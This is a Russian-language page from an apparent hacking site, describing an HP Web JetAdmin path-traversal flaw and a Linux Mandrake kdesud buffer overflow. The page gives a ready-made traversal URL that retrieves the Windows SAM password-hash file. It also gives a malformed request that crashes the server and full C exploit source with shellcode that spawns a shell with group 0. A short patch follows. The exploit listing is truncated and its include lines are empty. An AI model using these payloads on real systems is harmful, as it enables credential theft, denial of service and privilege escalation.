Главная
Архив новостей
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
_el@sp.sz.ru

RB2 Network


Team Void



Данное средство управления web-сайтом подвержено довольно типичной уязвимости - скрипты администрирования не осуществляют фильтрацию символов ../.. в указании имени шаблона при работе скрипта /cgi/wja, параметром которого является page : http://ServerIP:8000/cgi/wja?page=/../../../WINNT/repair/sam._ выдаст вам файл с хешами паролей удалённой машины. Уязвимости оказались подвержены версии Web JetAdmin по 5.6 включительно. А версия 6.0 подвержена переполнению heap'a - при передаче скрипту администрирования неправильно сформированного URL процесс сервера прекращает функционирование. Пример использования уязвимости:

Корректный запрос:

http://SeverIp:8000/plugins/hpjwja/script/
devices_list.hts?&obj=Httpd:GetProfile(new
_list,__null,__null,$__hpjwja_ack_ini)(_de
viceList)&clearFilters=true&_refreshdevice
list=true&_special=new

Некорректный запрос:

http://ServerIp:8000/plugins/hpjwja/script
/devices_list.hts?&obj=Httpd:GetProfile(ne
w_list,__null,__null,$
УЯЗВИМОСТЬ LINUX MANDRAKE (KDESUD)

Suidное приложение /usr/bin/kdesud подвержено переполнению буффера, которое возникает при передаче слишком большого параметра в переменной окружения DISPLAY. Эксплоит довольно тривиален, автором его является noir@olympos.org:
/*
 *  KDE: /usr/bin/kdesud exploit by noir
 *  x86/Linux
 *  noir@gsu.linux.org.tr | noir@olympos.org
 *  DISPLAY env overflow
 *  this script will get you gid = 0 !!
 *  tested on Mandrake 7.0 (Air), for other 
 *  distros play with argv1 for
 *  eip
 *  greetz: dustdevil, Cronos, moog, still, 
 *  #olympos irc.sourtimes.org
 *
 */

#include 
#include 

#define NOP             0x90
#define ALIGN   2
#define RET     0xbffff664  // Mandrake 7.0 (x86)

int
main(int argc, char *argv[])
{
        unsigned char shell[] =
        "\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
    "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
    "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char buf[400];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);

        memset(buf, NOP, 400);

        for(i = ALIGN  ; i < 160 + ALIGN; i+=4)
                *(long *) &buf[i] = ret;

        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
        buf[i] = shell[a];

        buf[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("DISPLAY", buf, 1);
        execl("/usr/bin/kdesud", "kdesud",  0);
Точно так же тривиален и патч - функция strcpy заменяется функцией strncpy, в которой есть проверка длины передаваемого параметра:
--- kdesu/kdesud/kdesud.cpp.chmou       Sun May 28 23:31:28 2000
+++ kdesu/kdesud/kdesud.cpp     Sun May 28 23:31:41 2000
@@ -161,7 +161,8 @@

     struct sockaddr_un addr;
     addr.sun_family = AF_UNIX;
-    strcpy(addr.sun_path, sock.c_str());
+    strncpy(addr.sun_path, sock.c_str(), sizeof(addr.sun_path) - 1);
+    addr.sun_path[sizeof(addr.sun_path) - 1] = 0;
     addrlen = SUN_LEN(&addr);
     if (bind(sockfd, (struct sockaddr *)&addr, addrlen) < 0) {
        xerror("bind(): %s");

 duke.


<== Back to main page